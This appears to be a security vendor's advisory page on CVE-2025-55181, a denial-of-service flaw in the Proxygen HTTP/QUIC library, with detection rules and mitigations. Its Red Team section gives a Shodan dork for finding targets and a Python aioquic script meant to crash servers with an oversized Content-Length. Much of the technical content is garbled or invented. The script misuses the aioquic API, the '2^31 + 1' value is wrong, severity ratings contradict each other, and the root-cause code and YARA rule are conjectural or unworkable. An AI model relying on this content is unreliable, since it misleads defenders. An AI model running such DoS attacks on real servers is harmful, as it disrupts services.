CVE-2025-55181
Executive Summary
CVE-2025-55181 is a high-severity Denial of Service (DoS) vulnerability in the Proxygen HTTP/QUIC server library. The flaw resides in the proxygen::coro::HTTPQuicCoroSession component, where processing an HTTP request or response body larger than 2^31 bytes (approximately 2.1 GB) triggers an infinite loop. This loop blocks the backing event loop and unconditionally appends data to a std::vector on each iteration, leading to unbounded memory growth and eventual process termination due to out-of-memory (OOM) conditions.
The vulnerability is remotely exploitable without authentication, making it a significant threat to any service using the affected Proxygen library. As of the latest analysis, no patch is available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the potential for impact is high.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Proxygen library, which is a C++ HTTP/QUIC framework developed by Meta (Facebook). It is not distributed via typical package managers like npm, PyPI, Go, or Ruby. However, organizations using Proxygen as a dependency in their custom C++ applications or services are at risk. The supply chain risk is moderate, as the library is open-source and widely used in high-performance networking stacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 5.3 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete denial of service.
Threat Level: Medium. While the CVSS score is 5.3, the impact on availability is high. The lack of a patch and the simplicity of exploitation (sending a large body) elevate the risk for unpatched systems.
Deep Dive & Mechanics
The vulnerability is located in the proxygen::coro::HTTPQuicCoroSession class, which handles QUIC-based HTTP sessions. The core issue is an infinite loop triggered when the body size exceeds 2^31 bytes (2,147,483,648 bytes). The loop condition fails to properly handle this boundary, causing the event loop to block indefinitely.
Technical Breakdown:
- Trigger: An attacker sends an HTTP request or response with a
Content-Lengthheader greater than 2^31 bytes. - Loop Condition: The loop in
HTTPQuicCoroSessionis designed to process body data in chunks. However, when the total body size exceeds 2^31 bytes, the loop's exit condition is never met due to an integer overflow or incorrect comparison. - Memory Growth: On each iteration, the code unconditionally appends the received chunk to a
std::vector. Since the loop never exits, this vector grows without bound, consuming all available memory. - Event Loop Blocking: The infinite loop runs on the event loop thread, preventing any other I/O operations from being processed. This effectively halts the entire server.
Root Cause: The vulnerability is likely due to an integer overflow in a size comparison or a missing boundary check when the body size exceeds 2^31 bytes. The use of a signed 32-bit integer (int32_t) for size tracking could cause the comparison to wrap around, making the loop condition always true.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical fix based on the vulnerability description.
Vulnerable Code (Conceptual):
void HTTPQuicCoroSession::processBody() {
int32_t totalSize = 0;
while (totalSize < contentLength) {
auto chunk = readChunk();
bodyBuffer.push_back(chunk);
totalSize += chunk.size();
}
}
Issue: If contentLength is greater than 2^31, totalSize may overflow and become negative, causing the loop to run indefinitely.
Patched Code (Hypothetical):
void HTTPQuicCoroSession::processBody() {
size_t totalSize = 0;
while (totalSize < contentLength) {
auto chunk = readChunk();
if (chunk.empty()) break; // Safety check
bodyBuffer.push_back(chunk);
totalSize += chunk.size();
if (totalSize > MAX_BODY_SIZE) {
// Handle oversized body
break;
}
}
}
Fix: Use size_t (unsigned) for size tracking, add a maximum body size check, and include a safety break for empty chunks.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target server running Proxygen with the vulnerable
HTTPQuicCoroSession. - Ability to send HTTP/QUIC requests with a large body.
Exploitation Steps:
- Identify Target: Scan for servers using Proxygen (e.g., via Shodan dork:
proxygen). - Craft Payload: Create an HTTP/QUIC request with a
Content-Lengthheader set to2147483648(2^31 + 1) or higher. - Send Request: Use a tool like
curlwith QUIC support or a custom script to send the request. - Observe Impact: The server will become unresponsive, and memory usage will spike until the process is killed by OOM.
Example Payload (using Python with aioquic):
import asyncio
from aioquic.asyncio.client import connect
from aioquic.h3.connection import H3Connection
from aioquic.h3.events import HeadersReceived, DataReceived
async def exploit():
async with connect("target.com", 443, create_protocol=H3Connection) as client:
headers = [(b":method", b"POST"), (b":path", b"/"), (b"content-length", b"2147483648")]
client.send_headers(stream_id=0, headers=headers)
# Send a small amount of data to trigger the loop
client.send_data(stream_id=0, data=b"A" * 1024)
await asyncio.sleep(10) # Wait for OOM
asyncio.run(exploit())
Blue Team (Defense & Detection)
Detection:
- Monitor for HTTP/QUIC requests with
Content-Lengthheaders exceeding 2^31 bytes. - Alert on sustained high memory usage in Proxygen processes.
- Use network monitoring to detect large incoming body sizes.
Mitigation:
- Implement a reverse proxy (e.g., Nginx, HAProxy) to limit request body sizes before they reach the Proxygen server.
- Apply rate limiting to prevent rapid exploitation attempts.
- If possible, disable QUIC support temporarily until a patch is available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP/QUIC requests with
Content-Length> 2147483648 bytes. - Unusually large POST request bodies (>2 GB).
- Sustained high outbound traffic from the target server (due to memory swapping).
- HTTP/QUIC requests with
System IOCs:
- Proxygen process consuming excessive memory (e.g., >4 GB).
- System logs showing OOM killer events targeting the Proxygen process.
- Event loop latency spikes or complete unresponsiveness.
File IOCs:
- Core dumps from Proxygen processes (if enabled).
- Log entries indicating "out of memory" or "allocation failure".
Detection Engineering
YARA Rule
rule CVE_2025_55181_Proxygen_DoS {
meta:
description = "Detects Proxygen processes with excessive memory usage indicative of CVE-2025-55181 exploitation"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$proc_name = "proxygen" nocase
$mem_pattern = /Memory:\s+\d+\.\d+\s+GB/ // Adjust pattern as needed
condition:
$proc_name and $mem_pattern
}
Sigma Rule
title: Proxygen Excessive Memory Usage - CVE-2025-55181
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Proxygen processes consuming excessive memory, indicating potential exploitation of CVE-2025-55181
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/proxygen'
# Memory usage in MB (adjust threshold as needed)
# This requires a custom field mapping for memory usage
# Example: MemoryUsage|gte: 4096
condition: selection
falsepositives:
- Legitimate large file transfers
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55181 Proxygen DoS - Large Content-Length"; flow:to_server; content:"Content-Length|3a|"; http_header; pcre:"/Content-Length:\s*[0-9]{10,}/"; threshold:type both, track by_src, count 1, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Limit Request Body Size: Configure a reverse proxy (e.g., Nginx, HAProxy) to reject requests with
Content-Length> 100 MB. - Disable QUIC: If QUIC is not critical, disable it in the Proxygen configuration to avoid the vulnerable code path.
- Monitor Memory: Set up alerts for Proxygen memory usage exceeding 2 GB.
Long-Term Fix:
- Apply the official patch once released by the Proxygen maintainers.
- Upgrade to a patched version of the library.
- Implement input validation to reject oversized bodies at the application layer.
Workaround:
- Use a Web Application Firewall (WAF) to filter requests with abnormally large
Content-Lengthheaders.
Valters IT
Securing Digital Frontiers